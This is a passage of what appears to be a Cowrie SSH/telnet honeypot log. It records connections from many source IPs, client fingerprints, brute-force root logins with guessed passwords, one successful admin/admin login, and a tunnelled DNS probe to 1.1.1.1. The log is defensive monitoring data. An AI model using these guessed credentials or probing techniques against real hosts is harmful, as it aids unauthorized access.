":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:18.814002Z","src_ip":"102.88.137.213","session":"d75089ec2657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexander","message":"login attempt [root/alexander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:19.561627Z","src_ip":"102.88.137.213","session":"d75089ec2657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:20.743887Z","src_ip":"102.88.137.213","session":"d75089ec2657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":44412,"dst_ip":"159.203.135.109","dst_port":22,"session":"3661672558f3","protocol":"ssh","message":"New connection: 103.77.175.15:44412 (159.203.135.109:22) [session: 3661672558f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:21.413953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:21.418351Z","src_ip":"103.77.175.15","session":"3661672558f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:21.686128Z","src_ip":"103.77.175.15","session":"3661672558f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fytxrf","message":"login attempt [root/fytxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:22.490335Z","src_ip":"103.77.175.15","session":"3661672558f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:23.761346Z","src_ip":"103.77.175.15","session":"3661672558f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40412,"dst_ip":"10.17.0.5","dst_port":22,"session":"13b6f5391cc9","protocol":"ssh","message":"New connection: 103.195.236.96:40412 (10.17.0.5:22) [session: 13b6f5391cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:23.809196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:23.814083Z","src_ip":"103.195.236.96","session":"13b6f5391cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:24.062670Z","src_ip":"103.195.236.96","session":"13b6f5391cc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qqq","message":"login attempt [root/123qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:24.795006Z","src_ip":"103.195.236.96","session":"13b6f5391cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:26.045119Z","src_ip":"103.195.236.96","session":"13b6f5391cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53780,"dst_ip":"10.17.0.5","dst_port":22,"session":"9396b72e0b2e","protocol":"ssh","message":"New connection: 103.153.68.219:53780 (10.17.0.5:22) [session: 9396b72e0b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:28.851035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:28.855832Z","src_ip":"103.153.68.219","session":"9396b72e0b2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:29.106671Z","src_ip":"103.153.68.219","session":"9396b72e0b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"963852","message":"login attempt [root/963852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:29.859406Z","src_ip":"103.153.68.219","session":"9396b72e0b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:31.113230Z","src_ip":"103.153.68.219","session":"9396b72e0b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57188,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a9fe20b6f4","protocol":"telnet","message":"New connection: 152.42.224.71:57188 (10.17.0.5:23) [session: 87a9fe20b6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:57.161974Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57196,"dst_ip":"10.17.0.5","dst_port":23,"session":"61adea6f2782","protocol":"telnet","message":"New connection: 152.42.224.71:57196 (10.17.0.5:23) [session: 61adea6f2782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:59.147383Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37470,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9f7e00ced5","protocol":"ssh","message":"New connection: 80.94.92.184:37470 (10.17.0.5:22) [session: 9b9f7e00ced5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:29.021926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:29.029035Z","src_ip":"80.94.92.184","session":"9b9f7e00ced5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":56574,"dst_ip":"159.203.135.109","dst_port":22,"session":"aae0a716d5fe","protocol":"ssh","message":"New connection: 87.251.79.125:56574 (159.203.135.109:22) [session: aae0a716d5fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:29.130905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:29.135064Z","src_ip":"87.251.79.125","session":"aae0a716d5fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:29.206035Z","src_ip":"87.251.79.125","session":"aae0a716d5fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:29.261338Z","src_ip":"80.94.92.184","session":"9b9f7e00ced5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pizdec","message":"login attempt [root/pizdec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:29.418555Z","src_ip":"87.251.79.125","session":"aae0a716d5fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:30.023948Z","src_ip":"80.94.92.184","session":"9b9f7e00ced5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:30.493655Z","src_ip":"87.251.79.125","session":"aae0a716d5fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:31.222329Z","src_ip":"80.94.92.184","session":"9b9f7e00ced5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23030,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bf86c2196bf","protocol":"ssh","message":"New connection: 87.251.64.176:23030 (10.17.0.5:22) [session: 3bf86c2196bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:35.431669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:35.439781Z","src_ip":"87.251.64.176","session":"3bf86c2196bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:35.563308Z","src_ip":"87.251.64.176","session":"3bf86c2196bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:35.904634Z","src_ip":"87.251.64.176","session":"3bf86c2196bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:36.047047Z","session":"3bf86c2196bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:36.192710Z","src_ip":"87.251.64.176","session":"3bf86c2196bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:36.442074Z","src_ip":"87.251.64.176","session":"3bf86c2196bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.83.249","src_port":36680,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b99cd65915d","protocol":"telnet","message":"New connection: 186.148.83.249:36680 (10.17.0.5:23) [session: 5b99cd65915d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:36.636797Z"}
{"eventid":"cowrie.session.closed","duration":41.59414482116699,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:38.755955Z","src_ip":"152.42.224.71","session":"87a9fe20b6f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.021262884140015,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:39.168533Z","src_ip":"152.42.224.71","session":"61adea6f2782","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.175.154","src_port":41350,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ae2083316b0","protocol":"ssh","message":"New connection: 96.127.175.154:41350 (10.17.0.5:22) [session: 4ae2083316b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.297787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.302973Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:49:44.330489Z","src_ip":"96.127.175.154","session":"4ae2083316b0","protocol":"ssh"}
